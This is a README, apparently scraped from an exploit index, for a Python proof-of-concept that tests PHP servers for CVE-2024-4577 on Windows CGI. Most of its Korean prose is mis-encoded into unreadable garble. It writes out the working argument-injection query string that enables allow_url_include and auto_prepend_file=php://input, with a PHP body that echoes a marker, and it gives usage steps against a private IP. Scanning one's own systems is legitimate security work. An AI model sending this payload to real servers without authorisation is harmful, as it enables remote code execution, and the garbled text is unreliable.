Share
## https://sploitus.com/exploit?id=49191F8E-6A33-5811-9B03-BB811AEEEEAC
# CVE-2024-4577 μ·¨μ½μ ν
μ€νΈ μ€ν¬λ¦½νΈ
μ΄ Python μ€ν¬λ¦½νΈλ PHPμ μ΅μ μ·¨μ½μ μΈ [`CVE-2024-4577`](https://nvd.nist.gov/vuln/detail/CVE-2024-4577)μ μ§λ¨νκΈ° μν κ°λ¨ν PoC(Proof of Concept) λꡬμ
λλ€.
> β οΈ λ³Έ λꡬλ **보μ μ§λ¨ λͺ©μ **μΌλ‘ μ 곡λλ©°, **λ³ΈμΈ μμ μ μμ€ν
** λλ **μ¬μ νκ°λ₯Ό λ°μ λμμλ§ μ¬μ©**ν΄μΌ ν©λλ€.
---
## π κ°μ
μ΄ μ·¨μ½μ μ PHPκ° Windows νκ²½μμ CGI λͺ¨λλ‘ λμν λ, **λ©ν°λ°μ΄νΈ λ¬Έμ μ°νλ₯Ό ν΅ν΄** μμμ PHP μ€μ μ μ£Όμ
νκ³ μ½λ μ€νμ μ λν μ μλ λ¬Έμ μ
λλ€.
μ΄ μ€ν¬λ¦½νΈλ λμ URLμ λν΄ μΏΌλ¦¬μ€νΈλ§ κΈ°λ° μ°ν νμ΄λ‘λμ PHP μ½λλ₯Ό POST μμ²μΌλ‘ μ μ‘νμ¬ μ·¨μ½ μ¬λΆλ₯Ό νλ¨ν©λλ€.
---
## β
μ¬μ© λ°©λ²
### 1. Python μ€μΉ νμΈ
```bash
python3 --version
```
### 2. μμ‘΄ ν¨ν€μ§ μ€μΉ
```bash
pip install requests
```
### 3. μ€ν¬λ¦½νΈ μ€ν
```bash
python3 cve_2024_4577_test.py
```
### 4. λμ URL μ
λ ₯
μμ μ
λ ₯:
```
http://192.168.0.10/index.php
```
λλ λ£¨νΈ κ²½λ‘λ§ μ
λ ₯ν΄λ μλ μ²λ¦¬λ©λλ€
```
http://192.168.0.10
```
---
## π κ²°κ³Ό μ€λͺ
- β
`[β
] μ·¨μ½: μλ²κ° PHP μ½λλ₯Ό μ€ννμ΅λλ€.`
β ν΄λΉ μλ²λ μ·¨μ½ν©λλ€.
- βοΈ `[βοΈ] λΉμ·¨μ½ λλ μ°¨λ¨λ¨`
β μλ΅μ λ°μμ§λ§ μ·¨μ½μ μ λ°μνμ§ μμ.
- β `[β] μμ² μ€ν¨: ...`
β μ°κ²° μ€λ₯, νμμμ λ±μΌλ‘ ν
μ€νΈ μ€ν¨.
---
## π‘ λμ μ리
- μ·¨μ½μ μ°ν λ¬Έμμ΄ μ½μ
:
```
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
```
- POST λ³Έλ¬Έμ PHP μ½λ μ½μ
:
```php
<?php echo 'CVE-2024-4577-TEST'; ?>
```
- μλ²κ° μ΄ μ½λλ₯Ό μ€ννλ©΄ μλ΅μ ν΄λΉ λ¬Έμμ΄μ΄ ν¬ν¨λμ΄ νλ¨ κ°λ₯.
---
## β οΈ λ©΄μ±
μ‘°ν
μ΄ μ€ν¬λ¦½νΈλ **κ΅μ‘ λ° λ³΄μ μ°κ΅¬ λͺ©μ **μΌλ‘λ§ μ 곡λλ©°, νκ°λ°μ§ μμ μμ€ν
μ μ€μΊνκ±°λ ν
μ€νΈνλ κ²μ **λΆλ²**μ
λλ€. μ¬μ©μλ λͺ¨λ μ±
μμ μ€μ€λ‘ λΆλ΄ν©λλ€.
---
## π νμΌ κ΅¬μ±
| νμΌλͺ
| μ€λͺ
|
|-----------------------|-----------------------------------|
| `cve_2024_4577_test.py` | μ·¨μ½μ ν
μ€νΈμ© Python μ€ν¬λ¦½νΈ |
| `README.md` | μ¬μ©λ² λ° μ€λͺ
λ¬Έμ (λ³Έ νμΌ) |
| `LICENSE.txt` | |
---
## π« λ¬Έμ
λ²κ·Έ μ κ³ λ μ μμ¬νμ email λλ PRλ‘ λ¨κ²¨μ£ΌμΈμ.
## π License
This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
Copyright (c) 2025 KimJuhyeong95